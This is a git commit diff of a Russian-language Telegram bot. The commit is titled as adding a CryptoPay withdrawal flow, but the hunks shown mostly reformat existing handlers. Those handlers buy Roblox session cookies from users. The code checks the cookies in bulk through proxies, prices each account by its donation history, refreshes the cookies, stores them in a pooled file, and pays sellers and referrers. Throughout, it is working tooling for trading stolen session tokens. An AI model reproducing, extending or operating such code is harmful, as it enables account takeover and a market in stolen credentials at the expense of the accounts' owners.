feat(withdraw): add user withdrawal flow using CryptoPay

This commit is contained in:
2026-07-20 20:29:36 +05:00
parent 8d4d75f7fd
commit 8ae14f415f
11 changed files with 269 additions and 137 deletions
+47 -14
View File
@@ -36,7 +36,9 @@ async def _blocked(message: Message) -> bool:
register(message.from_user.id, message.from_user.username)
profile = get(message.from_user.id)
if profile.is_banned:
await message.answer(f"❌ Вы заблокированы. Причина: {profile.ban_reason or ''}")
await message.answer(
f"❌ Вы заблокированы. Причина: {profile.ban_reason or ''}"
)
return True
cfg = load_config()
if not cfg.bot_enabled and message.from_user.id != ADMIN_ID:
@@ -51,7 +53,9 @@ async def _blocked(message: Message) -> bool:
@router.message(StateFilter(None), F.document)
async def handle_document(message: Message):
if is_admin(message.from_user.id):
await message.answer("👑 Администраторы не могут продавать cookie. Используйте /admin.")
await message.answer(
"👑 Администраторы не могут продавать cookie. Используйте /admin."
)
return
if await _blocked(message):
return
@@ -60,7 +64,10 @@ async def handle_document(message: Message):
await message.answer("❌ Отправьте файл формата .txt.")
return
path = COOKIE_FILES_DIR / f"{message.from_user.id}_{random.randint(100000, 999999)}.txt"
path = (
COOKIE_FILES_DIR
/ f"{message.from_user.id}_{random.randint(100000, 999999)}.txt"
)
try:
await message.bot.download(message.document, destination=path)
text = path.read_text(encoding="utf-8", errors="ignore")
@@ -72,14 +79,22 @@ async def handle_document(message: Message):
@router.message(StateFilter(None), F.text & ~F.text.startswith("/"))
async def handle_text(message: Message):
if is_admin(message.from_user.id):
await message.answer("👑 Администраторы не могут продавать cookie. Используйте /admin.")
await message.answer(
"👑 Администраторы не могут продавать cookie. Используйте /admin."
)
return
if await _blocked(message):
return
text = message.text or ""
if "_|WARNING:-DO-NOT-SHARE-THIS." not in text:
await message.answer("👋 Используйте меню ниже или отправьте текст с cookie.", reply_markup=main_menu_kb())
await message.answer(
"👋 Используйте меню ниже или отправьте текст с cookie.",
reply_markup=main_menu_kb(),
)
return
await process_cookies(message, text)
@@ -99,7 +114,9 @@ async def process_cookies(message: Message, raw_text: str):
valid = []
async with aiohttp.ClientSession() as session:
tasks = [check_cookie_with_retry(session, cookie, proxies) for cookie in cookies]
tasks = [
check_cookie_with_retry(session, cookie, proxies) for cookie in cookies
]
for index, task in enumerate(asyncio.as_completed(tasks), start=1):
try:
result = await task
@@ -117,15 +134,22 @@ async def process_cookies(message: Message, raw_text: str):
pass
if not valid:
await progress.edit_text(f"❌ Валидные cookie не найдены. Дубликатов: {duplicates}")
await progress.edit_text(
f"❌ Валидные cookie не найдены. Дубликатов: {duplicates}"
)
return
await progress.edit_text(f"⏳ <b>Проверяю донаты</b>\nВалидных cookie: {len(valid)}", parse_mode="HTML")
await progress.edit_text(
f"⏳ <b>Проверяю донаты</b>\nВалидных cookie: {len(valid)}", parse_mode="HTML"
)
donations = []
async with aiohttp.ClientSession() as session:
async def get_donation(result):
proxy = random.choice(proxies) if proxies else None
all_time = await get_all_time_donate(session, result.cookie, result.user_id, proxy)
all_time = await get_all_time_donate(
session, result.cookie, result.user_id, proxy
)
year = await get_year_donate(result.cookie, result.user_id, proxy)
return CookieDonationInfo(
cookie=result.cookie,
@@ -152,14 +176,16 @@ async def process_cookies(message: Message, raw_text: str):
fresh_ok = []
fresh_failed = 0
for offset in range(0, len(priced), FRESHER_BATCH_SIZE):
batch = priced[offset:offset + FRESHER_BATCH_SIZE]
batch = priced[offset : offset + FRESHER_BATCH_SIZE]
async def refresh(item):
proxy = random.choice(proxies) if proxies else None
ok, refreshed = await fresh_cookie_async(item.cookie, proxy)
return item, ok, refreshed
for item, ok, refreshed in await asyncio.gather(*(refresh(item) for item in batch)):
for item, ok, refreshed in await asyncio.gather(
*(refresh(item) for item in batch)
):
if ok and isinstance(refreshed, str) and refreshed.startswith("_|WARNING"):
fresh_ok.append((item, refreshed))
else:
@@ -184,8 +210,13 @@ async def process_cookies(message: Message, raw_text: str):
with ROBSEC_FILE.open("a", encoding="utf-8") as output:
output.writelines(f"{cookie}\n" for _, cookie in fresh_ok)
user_file = COOKIE_FILES_DIR / f"robsec_{message.from_user.id}_{random.randint(100000, 999999)}.txt"
user_file.write_text("".join(f"{cookie}\n" for _, cookie in fresh_ok), encoding="utf-8")
user_file = (
COOKIE_FILES_DIR
/ f"robsec_{message.from_user.id}_{random.randint(100000, 999999)}.txt"
)
user_file.write_text(
"".join(f"{cookie}\n" for _, cookie in fresh_ok), encoding="utf-8"
)
payout = sum(item.price for item, _ in fresh_ok)
profile = get(message.from_user.id)
@@ -202,7 +233,9 @@ async def process_cookies(message: Message, raw_text: str):
stats.total_paid_direct += payout
save_stats(stats)
bot = get_bot() or message.bot
await apply_referral_payout(bot, profile.user_id, profile.username, payout, cfg.referral_percent)
await apply_referral_payout(
bot, profile.user_id, profile.username, payout, cfg.referral_percent
)
method = "📊 AVG-система" if avg_used else "📋 Поштучный"
report = (